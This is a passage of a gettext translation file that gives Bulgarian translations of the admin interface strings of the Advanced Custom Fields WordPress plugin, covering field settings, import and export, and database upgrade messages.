msgstr "Термин"

#: admin/views/field-group-locations.php:28
msgid "Comment"
msgstr "Коментар"

#: admin/views/field-group-locations.php:29
msgid "Widget"
msgstr "Джаджa"

#: admin/views/field-group-locations.php:41
msgid "Rules"
msgstr "Правила"

#: admin/views/field-group-locations.php:42
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr ""
"Създаване на група правила, определящи кои екрани за редактиране ще "
"използват тези модерни потребителски полета"

#: admin/views/field-group-locations.php:59
msgid "Show this field group if"
msgstr "Показване на тази група полета ако"

#: admin/views/field-group-options.php:20
msgid "Style"
msgstr "Стил"

#: admin/views/field-group-options.php:27
msgid "Standard (WP metabox)"
msgstr "Стандартен (WordPress кутия)"

#: admin/views/field-group-options.php:28
msgid "Seamless (no metabox)"
msgstr "Без WordPress кутия"

#: admin/views/field-group-options.php:35
msgid "Position"
msgstr "Позиция"

#: admin/views/field-group-options.php:42
msgid "High (after title)"
msgstr "Високо (след заглавието)"

#: admin/views/field-group-options.php:43
msgid "Normal (after content)"
msgstr "Нормално (след съдържанието)"

#: admin/views/field-group-options.php:44
msgid "Side"
msgstr "Отстрани"

#: admin/views/field-group-options.php:52
msgid "Label placement"
msgstr "Позиция на етикета"

#: admin/views/field-group-options.php:59 fields/tab.php:148
msgid "Top aligned"
msgstr "Отгоре"

#: admin/views/field-group-options.php:60 fields/tab.php:149
msgid "Left Aligned"
msgstr "Отляво"

#: admin/views/field-group-options.php:67
msgid "Instruction placement"
msgstr "Позиция на инструкциите"

#: admin/views/field-group-options.php:74
msgid "Below labels"
msgstr "Под етикетите"

#: admin/views/field-group-options.php:75
msgid "Below fields"
msgstr "Под полетата"

#: admin/views/field-group-options.php:82
msgid "Order No."
msgstr "Пореден №"

#: admin/views/field-group-options.php:83
msgid "Field groups with a lower order will appear first"
msgstr "Групите полета с по-малък пореден номер ще бъдат показани първи"

#: admin/views/field-group-options.php:94
msgid "Shown in field group list"
msgstr "Показани в списъка с групи полета"

#: admin/views/field-group-options.php:104
msgid "Hide on screen"
msgstr "Скриване от екрана"

#: admin/views/field-group-options.php:105
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr "<b>Изберете</b> елементи, които да <b>скриете</b> от екрана."

#: admin/views/field-group-options.php:105
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Ако множество групи полета са показани на екрана, опциите на първата група "
"полета ще бъдат използвани (тази с най-малкия пореден номер)"

#: admin/views/field-group-options.php:112
msgid "Permalink"
msgstr "Постоянна връзка"

#: admin/views/field-group-options.php:113
msgid "Content Editor"
msgstr "Редактор на съдържание"

#: admin/views/field-group-options.php:114
msgid "Excerpt"
msgstr "Откъс"

#: admin/views/field-group-options.php:116
msgid "Discussion"
msgstr "Дискусия"

#: admin/views/field-group-options.php:117
msgid "Comments"
msgstr "Коментари"

#: admin/views/field-group-options.php:118
msgid "Revisions"
msgstr "Ревизии"

#: admin/views/field-group-options.php:119
msgid "Slug"
msgstr "Кратко име"

#: admin/views/field-group-options.php:120
msgid "Author"
msgstr "Автор"

#: admin/views/field-group-options.php:121
msgid "Format"
msgstr "Формат"

#: admin/views/field-group-options.php:122
msgid "Page Attributes"
msgstr "Атрибути на страницата"

#: admin/views/field-group-options.php:123 fields/relationship.php:736
msgid "Featured Image"
msgstr "Главна снимка"

#: admin/views/field-group-options.php:124
msgid "Categories"
msgstr "Категории"

#: admin/views/field-group-options.php:125
msgid "Tags"
msgstr "Етикети"

#: admin/views/field-group-options.php:126
msgid "Send Trackbacks"
msgstr "Изпращане на проследяващи връзки"

#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Сваляне и инсталиране"

#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Инсталирано"

#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Добре дошли в Модерни потребителски полета"

#: admin/views/settings-info.php:10
#, php-format
msgid ""
"Thank you for updating! ACF %s is bigger and better than ever before. We "
"hope you like it."
msgstr ""
"Благодарим, че обновихте! Модерни потребителски полета %s сега е по-голям и "
"по-добър от всякога. Надяваме се че ще Ви хареса."

#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr "По-удобна работа с потребителски полета"

#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Подобрена ползваемост"

#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed "
"across a number of field types including post object, page link, taxonomy "
"and select."
msgstr ""
"Включването на популярната библиотека Select2 подобри използването и "
"скоростта на множество полета, включително обект-публикация, връзка към "
"страница, таксономия и поле за избор."

#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Подобрен дизайн"

#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than "
"ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
"(new) fields!"
msgstr ""
"Много от полетата претърпяха визуални подобрения и сега изглеждат по-добре "
"от всякога! Забележими промени могат да се видят по галерията, полето за "
"връзка и oEmbed полето!"

#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Подобрени данни"

#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live "
"independently from their parents. This allows you to drag and drop fields in "
"and out of parent fields!"
msgstr ""
"Подобряването на архитектурата на данните позволи вложените полета да "
"съществуват независимо от своите родители. Това позволява да ги местите "
"извън родителите си!"

#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Сбогом на добавките. Здравей, PRO"

#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Представяме Ви Модерни потребителски полета PRO"

#: admin/views/settings-info.php:51
msgid ""
"We're changing the way premium functionality is delivered in an exciting way!"
msgstr ""
"Променяме начина по който Ви предоставяме платената функционалност по "
"вълнуващ начин!"

#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
"version of ACF</a>. With both personal and developer licenses available, "
"premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Всички 4 платени добавки бяха обединени в една нова <a href=\"%s\">PRO "
"версия</a>. С наличните личен лиценз и този за разработчици, платената "
"функционалност е по-достъпна от всякога!"

#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Мощни функции"

#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content "
"layouts, a beautiful gallery field and the ability to create extra admin "
"options pages!"
msgstr ""
"PRO версията съдържа мощни функции като повторяеми полета, гъвкави "
"оформления на съдържанието, красиво поле за галерия и възможността да "
"създавате допълнителни страници с опции в администрацията."

#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr "Научете повече за <a href=\"%s\">PRO функциите</a>."

#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Лесно обновяване"

#: admin/views/settings-info.php:63
#, php-format
msgid ""
"To help make upgrading easy, <a href=\"%s\">login to your store account</a> "
"and claim a free copy of ACF PRO!"
msgstr ""
"За да направите обновяването лесно, <a href=\"%s\">влезте в профила си</a> и "
"вземете вашето безплатно PRO копие!"

#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
"but if you do have one, please contact our support team via the <a href=\"%s"
"\">help desk</a>"
msgstr ""
"Също така написахме <a href=\"%s\">съветник по обновяването</a> за да "
"отговорим на всякакви въпроси, но ако имате някакви други въпроси, моля "
"свържете се с нашия отдел <a href=\"%s\">Поддръжка</a>"

#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Под капака"

#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "По-умни настройки на полетата"

#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr "Вече записваме настройките на полетата като индивидуални публикации"

#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Повече AJAX"

#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr ""
"Още повече полета използват AJAX-базирано търсене, за да ускорят зареждането "
"на страниците"

#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "Локален JSON"

#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr "Новия автоматичен експорт към JSON увеличава скоростта"

#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "По-добър контрол на версиите"

#: admin/views/settings-info.php:95
msgid ""
"New auto export to JSON feature allows field settings to be version "
"controlled"
msgstr ""
"Новия автоматичен експорт към JSON позволява настройките на полетата да "
"бъдат под контрол на версиите"

#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "Заменихме XML с JSON"

#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr "Импортирането и експортирането вече използват JSON вместо XML"

#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Нови формуляри"

#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr ""
"Полетата вече могат да бъдат закачени към коментари, джаджи и "
"потребителските формуляри!"

#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "Ново поле за вграждане на съдържание бе добавено"

#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Нова галерия"

#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr "Полето за галерия претърпя сериозни визуални подобрения"

#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Нови настройки"

#: admin/views/settings-info.php:122
msgid ""
"Field group settings have been added for label placement and instruction "
"placement"
msgstr ""
"Бяха добавени настройки на групите полета за поставяне на етикет и инструкции"

#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "По-добри форми в сайта"

#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "acf_form() вече може да създава нови публикации при изпращане"

#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "По-добра валидация"

#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr "Валидацията на формулярите вече се прави с PHP + AJAX вместо само с JS"

#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Поле за връзка"

#: admin/views/settings-info.php:139
msgid ""
"New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr ""
"Нови настройки на полето за връзка за 'Филтри' (търсене, тип публикация, "
"таксономия)"

#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Местене на полета"

#: admin/views/settings-info.php:146
msgid ""
"New field group functionality allows you to move a field between groups & "
"parents"
msgstr ""
"Новата функционалност на групите полета Ви позволява да местите полета "
"измежду групите и родителите"

#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Връзка към страница"

#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr "Нова група архиви в page_link полето"

#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "По-добри страници с опции"

#: admin/views/settings-info.php:156
msgid ""
"New functions for options page allow creation of both parent and child menu "
"pages"
msgstr ""
"Новите функции за страници с опции позволяват създаването както на "
"родителски страници, така и на страници-деца."

#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Смятаме, че ще харесате промените в %s."

#: admin/views/settings-tools-export.php:27
msgid "Export Field Groups to PHP"
msgstr "Експортиране на групите полета към PHP"

#: admin/views/settings-tools-export.php:31
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"Следния код може да се използва, за да регистрирате локална версия на "
"избраните групи полета. Локалната група полета може да помогне с по-бързо "
"зареждане, контрол на версиите и динамични настройки. Просто копирайте и "
"сложете кода във файла functions.php на темата си или го сложете във външен "
"файл."

#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr "Избор на групи полета"

#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr "Експортиране на групи полета"

#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Use the download button to export to a .json file which you can then "
"import to another ACF installation. Use the generate button to export to PHP "
"code which you can place in your theme."
msgstr ""
"Изберете групите полета които искате да експортирате и после изберете "
"желания метод. Използвайте бутона за сваляне за да създадете .json файл, "
"които можете да импортирате в друга инсталация. Използвайте бутона за "
"генериране за да експортирате към PHP код, които можете да поставите в "
"темата си."

#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "Сваляне на експортирания файл"

#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Генериране на код"

#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr "Импортиране на групи полета"

#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups."
msgstr ""
"Изберете JSON файла, който искате да импортирате. Когато натиснете бутона за "
"импортиране, групите полета ще бъдат импортирани."

#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Избор на файл"

#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Импортиране"

#: admin/views/update-network.php:8 admin/views/update.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr "Модерни потребителски полета - Обновяване на базата данни"

#: admin/views/update-network.php:10
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click “Upgrade Database”."
msgstr ""
"Следните сайтове имат нужда от обновяване на базата данни. Изберете тези, "
"които искате да обновите и натиснете на \"Обновяване на базата данни\"."

#: admin/views/update-network.php:19 admin/views/update-network.php:27
msgid "Site"
msgstr "Сайт"

#: admin/views/update-network.php:47
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "Сайтът изисква обновяване на базата данни от %s до %s"

#: admin/views/update-network.php:49
msgid "Site is up to date"
msgstr "Сайтът няма нужда от обновяване"

#: admin/views/update-network.php:62 admin/views/update.php:16
msgid "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr "Обновяването на базата данни бе завършено. <a href=\"%s\">Връщане към мрежовото табло</a>"

#: admin/views/update-network.php:101 admin/views/update-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"Силно Ви препоръчваме да архивирате вашата база данни преди да продължите. "
"Сигурни ли сте, че искате да продължите с обновяването?"

#: admin/views/update-network.php:157
msgid "Upgrade complete"
msgstr "Обновяването завърши"

#: admin/views/update-network.php:161
msgid "Upgrading data to"
msgstr "Обновяване на данните към"

#: admin/views/update-notice.php:23
msgid "Database Upgrade Required"
msgstr "Изисква се обновяване на базата данни"

#: admin/views/update-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Благодарим ви за обновяването към %s v%s!"

#: admin/views/update-notice.php:25
msgid ""
"Before you start using the new awesome features, please update your database "
"to the newest version."
msgstr ""
"Преди да започнете да използвате новите страхотни функции, моля обновете "
"базата данни до последната версия."

#: admin/views/update.php:12
msgid "Reading upgrade tasks..."
msgstr "Прочитане на задачите за обновяване..."

#: admin/views/update.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Обновяване на данните до версия %s"

#: admin/views/update.php:16
msgid "See what's new"
msgstr "Вижте какво е новото"

#: admin/views/update.php:110
msgid "No updates available."
msgstr "Няма налични актуализации."

#: api/api-helpers.php:909
msgid "Thumbnail"
msgstr "Картинка"

#: api/api-helpers.php:910
msgid "Medium"
msgstr "Средна"

#: api/api-helpers.php:911
msgid "Large"
msgstr "Голяма"

#: api/api-helpers.php:959
msgid "Full Size"
msgstr "Пълен размер"

#: api/api-helpers.php:1149 api/api-helpers.php:1711
msgid "(no title)"
msgstr "(без заглавие)"

#: api/api-helpers.php:3322
#, php-format
msgid "Image width must be at least %dpx."
msgstr "Ширината на изображението трябва да бъде поне %d пиксела."

#: api/api-helpers.php:3327
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "Ширината на изображението не трябва да надвишава %d пиксела."

#: api/api-helpers.php:3343
#, php-format
msgid "Image height must be at least %dpx."
msgstr "Височината на изображението трябва да бъде поне %d пиксела."

#: api/api-helpers.php:3348
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "Височината на изображението не трябва да надвишава %d пиксела."

#: api/api-helpers.php:3366
#, php-format
msgid "File size must be at least %s."
msgstr "Размерът на файла трябва да бъде поне %s."

#: api/api-helpers.php:3371
#, php-format
msgid "File size must must not exceed %s."
msgstr "Размерът на файла трябва да не надвишава %s."

#: api/api-helpers.php:3405
#, php-format
msgid "File type must be %s."
msgstr "Типът на файла трябва да бъде %s."

#: api/api-template.php:1069
msgid "Spam Detected"
msgstr "Открит спам"

#: api/api-template.php:1214 pro/fields/gallery.php:572
msgid "Update"
msgstr "Обновяване"

#: api/api-template.php:1215
msgid "Post updated"
msgstr "Публикацията бе актуализирана"

#: core/field.php:131
msgid "Basic"
msgstr "Основен"

#: core/field.php:132
msgid "Content"
msgstr "Съдържание"

#: core/field.php:133
msgid "Choice"
msgstr "Избор"

#: core/field.php:134
msgid "Relational"
msgstr "Релационен"

#: core/field.php:135
msgid "jQuery"
msgstr "jQuery"

#: core/field.php:136 fields/checkbox.php:226 fields/radio.php:231
#: pro/fields/flexible-content.php:501 pro/fields/flexible-content.php:550
#: pro/fields/repeater.php:467
msgid "Layout"
msgstr "Шаблон"

#: core/input.php:218
msgid "Expand Details"
msgstr "Разпъване на детайлите"

#: core/input.php:219
msgid "Collapse Details"
msgstr "Свиване на детайлите"

#: core/input.php:220
msgid "Validation successful"
msgstr "Успешна валидация"

#: core/input.php:221
msgid "Validation failed"
msgstr "Провалена валидация"

#: core/input.php:222
msgid "1 field requires attention"
msgstr "1 поле изисква внимание"

#: core/input.php:223
#, php-format
msgid "%d fields require attention"
msgstr "%d полета изискват внимание"

#: core/input.php:224
msgid "Restricted"
msgstr "Ограничен"

#: core/input.php:541
#, php-format
msgid "%s value is required"
msgstr "%s стойност е задължителна"

#: fields/checkbox.php:36 fields/taxonomy.php:790
msgid "Checkbox"
msgstr "Отметка"

#: fields/checkbox.php:144
msgid "Toggle All"
msgstr "Превключване на всички"

#: fields/checkbox.php:208 fields/radio.php:193 fields/select.php:354
msgid "Choices"
msgstr "Опции"

#: fields/checkbox.php:209 fields/radio.php:194 fields/select.php:355
msgid "Enter each choice on a new line."
msgstr "Въведете всяка опция на нов ред."

#: fields/checkbox.php:209 fields/radio.php:194 fields/select.php:355
msgid "For more control, you may specify both a value and label like this:"
msgstr "За повече контрол, можете да уточните и стойност и етикет, например:"

#: fields/checkbox.php:209 fields/radio.php:194 fields/select.php:355
msgid "red : Red"
msgstr "red : Red"

#: fields/checkbox.php:217 fields/color_picker.php:155 fields/email.php:124
#: fields/number.php:150 fields/radio.php:222 fields/select.php:363
#: fields/text.php:148 fields/textarea.php:145 fields/true_false.php:115
#: fields/url.php:117 fields/wysiwyg.php:376
msgid "Default Value"
msgstr "Стойност по подразбиране"

#: fields/checkbox.php:218 fields/select.php:364
msgid "Enter each default value on a new line"
msgstr "Въведете всяка стойност по подразбиране на нов ред"

#: fields/checkbox.php:232 fields/radio.php:237
msgid "Vertical"
msgstr "Вертикален"

#: fields/checkbox.php:233 fields/radio.php:238
msgid "Horizontal"
msgstr "Хоризонтален"

#: fields/checkbox.php:240
msgid "Toggle"
msgstr "Превключване"

#: fields/checkbox.php:241
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Прибавете допълнителна отметка за да превключите всички опции"

#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Избор на цвят"

#: fields/color_picker.php:83
msgid "Clear"
msgstr "Изчистване"

#: fields/color_picker.php:84
msgid "Default"
msgstr "По подразбиране"

#: fields/color_picker.php:85
msgid "Select Color"
msgstr "Избор на цвят"

#: fields/color_picker.php:86
msgid "Current Color"
msgstr "Текущ цвят"

#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Избор на дата"

#: fields/date_picker.php:72
msgid "Done"
msgstr "Готово"

#: fields/date_picker.php:73
msgid "Today"
msgstr "Днес"

#: fields/date_picker.php:76
msgid "Show a different month"
msgstr "Показване на различен месец"

#: fields/date_picker.php:174
msgid "Display Format"
msgstr "Формат на показване"

#: fields/date_picker.php:175
msgid "The format displayed when editing a post"
msgstr "Форматът, показан при редакция на публикация"

#: fields/date_picker.php:189
msgid "Return format"
msgstr "Формат при връщане"

#: fields/date_picker.php:190
msgid "The format returned via template functions"
msgstr "Форматът, който се връща от шаблонните функции"

#: fields/date_picker.php:205
msgid "Week Starts On"
msgstr "Седмицата започва с"

#: fields/email.php:36
msgid "Email"
msgstr "Email"

#: fields/email.php:125 fields/number.php:151 fields/radio.php:223
#: fields/text.php:149 fields/textarea.php:146 fields/url.php:118
#: fields/wysiwyg.php:377
msgid "Appears when creating a new post"
msgstr "Появява се при създаване на нова публикация"

#: fields/email.php:133 fields/number.php:159 fields/password.php:137
#: fields/text.php:157 fields/textarea.php:154 fields/url.php:126
msgid "Placeholder Text"
msgstr "Текст при липса на стойност"

#: fields/email.php:134 fields/number.php:160 fields/password.php:138
#: fields/text.php:158 fields/textarea.php:155 fields/url.php:127
msgid "Appears within the input"
msgstr "Показва се в полето при липса на стойност"

#: fields/email.php:142 fields/number.php:168 fields/password.php:146
#: fields/text.php:166
msgid "Prepend"
msgstr "Поставяне в началото"

#: fields/email.php:143 fields/number.php:169 fields/password.php:147
#: fields/text.php:167
msgid "Appears before the input"
msgstr "Показва се преди полето"

#: fields/email.php:151 fields/number.php:177 fields/password.php:155
#: fields/text.php:175
msgid "Append"
msgstr "Поставяне в края"

#: fields/email.php:152 fields/number.php:178 fields/password.php:156
#: fields/text.php:176
msgid "Appears after the input"
msgstr "Показва се след полето"

#: fields/file.php:36
msgid "File"
msgstr "Файл"

#: fields/file.php:47
msgid "Edit File"
msgstr "Редактиране на файл"

#: fields/file.php:48
msgid "Update File"
msgstr "Актуализация на файла"

#: fields/file.php:49 pro/fields/gallery.php:55
msgid "uploaded to this post"
msgstr "прикачен към тази публикация"

#: fields/file.php:142
msgid "File Name"
msgstr "Име на файла"

#: fields/file.php:146
msgid "File Size"
msgstr "Размер на файла"

#: fields/file.php:169
msgid "No File selected"
msgstr "Няма избран файл"

#: fields/file.php:169
msgid "Add File"
msgstr "Добавяне на файл"

#: fields/file.php:214 fields/image.php:200 fields/taxonomy.php:859
msgid "Return Value"
msgstr "Върната стойност"

#: fields/file.php:215 fields/image.php:201
msgid "Specify the returned value on front end"
msgstr "Уточнява върнатата стойност в сайта"

#: fields/file.php:220
msgid "File Array"
msgstr "Масив от файлове"

#: fields/file.php:221
msgid "File URL"
msgstr "URL на файла"

#: fields/file.php:222
msgid "File ID"
msgstr "ID на файла"

#: fields/file.php:229 fields/image.php:225 pro/fields/gallery.php:655
msgid "Library"
msgstr "Библиотека"

#: fields/file.php:230 fields/image.php:226 pro/fields/gallery.php:656
msgid "Limit the media library choice"
msgstr "Ограничаване на избора на файлове"

#: fields/file.php:236 fields/image.php:232 pro/fields/gallery.php:662
msgid "Uploaded to post"
msgstr "Прикачени към публикация"

#: fields/file.php:243 fields/image.php:239 pro/fields/gallery.php:669
msgid "Minimum"
msgstr "Минимум"

#: fields/file.php:244 fields/file.php:255
msgid "Restrict which files can be uploaded"
msgstr "Ограничаване какви файлове могат да бъдат качени"

#: fields/file.php:247 fields/file.php:258 fields/image.php:262
#: fields/image.php:295 pro/fields/gallery.php:692 pro/fields/gallery.php:725
msgid "File size"
msgstr "Размер на файла"

#: fields/file.php:254 fields/image.php:272 pro/fields/gallery.php:702
msgid "Maximum"
msgstr "Максимум"

#: fields/file.php:265 fields/image.php:305 pro/fields/gallery.php:735
msgid "Allowed file types"
msgstr "Позволени файлови типове"

#: fields/file.php:266 fields/image.php:306 pro/fields/gallery.php:736
msgid "Comma separated list. Leave blank for all types"
msgstr "Списък, разделен със запетаи. Оставете празно за всички типове"

#: fields/google-map.php:36
msgid "Google Map"
msgstr "Google карта"

#: fields/google-map.php:51
msgid "Locating"
msgstr "Намиране"

#: fields/google-map.php:52
msgid "Sorry, this browser does not support geolocation"
msgstr "За съжаление този браузър не поддържа геолокация"

#: fields/google-map.php:133 fields/relationship.php:722
msgid "Search"
msgstr "Търсене"

#: fields/google-map.php:134
msgid "Clear location"
msgstr "Изчистване на местоположение"

#: fields/google-map.php:135
msgid "Find current location"
msgstr "Намерете текущото местоположение"

#: fields/google-map.php:138
msgid "Search for address..."
msgstr "Търсене на адрес..."

#: fields/google-map.php:168 fields/google-map.php:179
msgid "Center"
msgstr "Центриране"

#: fields/google-map.php:169 fields/google-map.php:180
msgid "Center the initial map"
msgstr "Центриране на първоначалната карта"

#: fields/google-map.php:193
msgid "Zoom"
msgstr "Увеличаване"

#: fields/google-map.php:194
msgid "Set the initial zoom level"
msgstr "Задаване на ниво на първоначалното увеличение"

#: fields/google-map.php:203 fields/image.php:251 fields/image.php:284
#: fields/oembed.php:275 pro/fields/gallery.php:681 pro/fields/gallery.php:714
msgid "Height"
msgstr "Височина"

#: fields/google-map.php:204
msgid "Customise the map height"
msgstr "Персонализиране на височината на картата"

#: fields/image.php:36
msgid "Image"
msgstr "Изображение"

#: fields/image.php:51
msgid "Select Image"
msgstr "Избор на изображение"

#: fields/image.php:52 pro/fields/gallery.php:53
msgid "Edit Image"
msgstr "Редактиране на изображение"

#: fields/image.php:53 pro/fields/gallery.php:54
msgid "Update Image"
msgstr "Актуализация на изображението"

#: fields/image.php:54
msgid "Uploaded to this post"
msgstr "Прикачени към тази публикация"

#: fields/image.php:55
msgid "All images"
msgstr "Всички изображения"

#: fields/image.php:152
msgid "No image selected"
msgstr "Няма избрано изображение"

#: fields/image.php:152
msgid "Add Image"
msgstr "Добавяне на изображение"

#: fields/image.php:206
msgid "Image Array"
msgstr "Масив от изображения"

#: fields/image.php:207
msgid "Image URL"
msgstr "URL на изображението"

#: fields/image.php:208
msgid "Image ID"
msgstr "ID на изображението"

#: fields/image.php:215 pro/fields/gallery.php:645
msgid "Preview Size"
msgstr "Размер на визуализация"

#: fields/image.php:216 pro/fields/gallery.php:646
msgid "Shown when entering data"
msgstr "Показва се при въвеждане на данни"

#: fields/image.php:240 fields/image.php:273 pro/fields/gallery.php:670
#: pro/fields/gallery.php:703
msgid "Restrict which images can be uploaded"
msgstr "Ограничаване какви изображения могат да бъдат качени"

#: fields/image.php:243 fields/image.php:276 fields/oembed.php:264
#: pro/fields/gallery.php:673 pro/fields/gallery.php:706
msgid "Width"
msgstr "Ширина"

#: fields/message.php:36 fields/message.php:116 fields/true_false.php:106
msgid "Message"
msgstr "Съобщение"

#: fields/message.php:125 fields/textarea.php:182
msgid "New Lines"
msgstr "Нови редове"

#: fields/message.php:126 fields/textarea.php:183
msgid "Controls how new lines are rendered"
msgstr "Контролира как се извеждат новите редове"

#: fields/message.php:130 fields/textarea.php:187
msgid "Automatically add paragraphs"
msgstr "Автоматично добавяне на параграфи"

#: fields/message.php:131 fields/textarea.php:188
msgid "Automatically add &lt;br&gt;"
msgstr "Автоматично добавяне на &lt;br&gt;"

#: fields/message.php:132 fields/textarea.php:189
msgid "No Formatting"
msgstr "Без форматиране"

#: fields/message.php:139
msgid "Escape HTML"
msgstr "Изчистване на HTML"

#: fields/message.php:140
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr "Позволяване на HTML-а да се показва като видим текст"

#: fields/number.php:36
msgid "Number"
msgstr "Число"

#: fields/number.php:186
msgid "Minimum Value"
msgstr "Минимална стойност"

#: fields/number.php:195
msgid "Maximum Value"
msgstr "Максимална стойност"

#: fields/number.php:204
msgid "Step Size"
msgstr "Размер на стъпката"

#: fields/number.php:242
msgid "Value must be a number"
msgstr "Стойността трябва да е число"

#: fields/number.php:260
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "Стойността трябва да е равна на или по-голяма от %d"

#: fields/number.php:268
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "Стойността трябва да е равна на или по-малка от %d"

#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

#: fields/oembed.php:212
msgid "Enter URL"
msgstr "Въведете URL адрес"

#: fields/oembed.php:225
msgid "No embed found for the given URL."
msgstr "Няма открито вграждане за посочения URL адрес."

#: fields/oembed.php:261 fields/oembed.php:272
msgid "Embed Size"
msgstr "Размери за вграждане"

#: fields/page_link.php:197
msgid "Archives"
msgstr "Архиви"

#: fields/page_link.php:520 fields/post_object.php:386
#: fields/relationship.php:689
msgid "Filter by Post Type"
msgstr "Филтриране по тип публикация"

#: fields/page_link.php:528 fields/post_object.php:394
#: fields/relationship.php:697
msgid "All post types"
msgstr "Всички типове публикации"

#: fields/page_link.php:534 fields/post_object.php:400
#: fields/relationship.php:703
msgid "Filter by Taxonomy"
msgstr "Филтриране по таксономия"

#: fields/page_link.php:542 fields/post_object.php:408
#: fields/relationship.php:711
msgid "All taxonomies"
msgstr "Всички таксономии"

#: fields/page_link.php:548 fields/post_object.php:414 fields/select.php:372
#: fields/taxonomy.php:803 fields/user.php:456
msgid "Allow Null?"
msgstr "Позволяване на празна стойност?"

#: fields/page_link.php:562 fields/post_object.php:428 fields/select.php:386
#: fields/user.php:470
msgid "Select multiple values?"
msgstr "Избиране на няколко стойности?"

#: fields/password.php:36
msgid "Password"
msgstr "Парола"

#: fields/post_object.php:36 fields/post_object.php:447
#: fields/relationship.php:768
msgid "Post Object"
msgstr "Обект-публикация"

#: fields/post_object.php:442 fields/relationship.php:763
msgid "Return Format"
msgstr "Формат на върнатите данни"

#: fields/post_object.php:448 fields/relationship.php:769
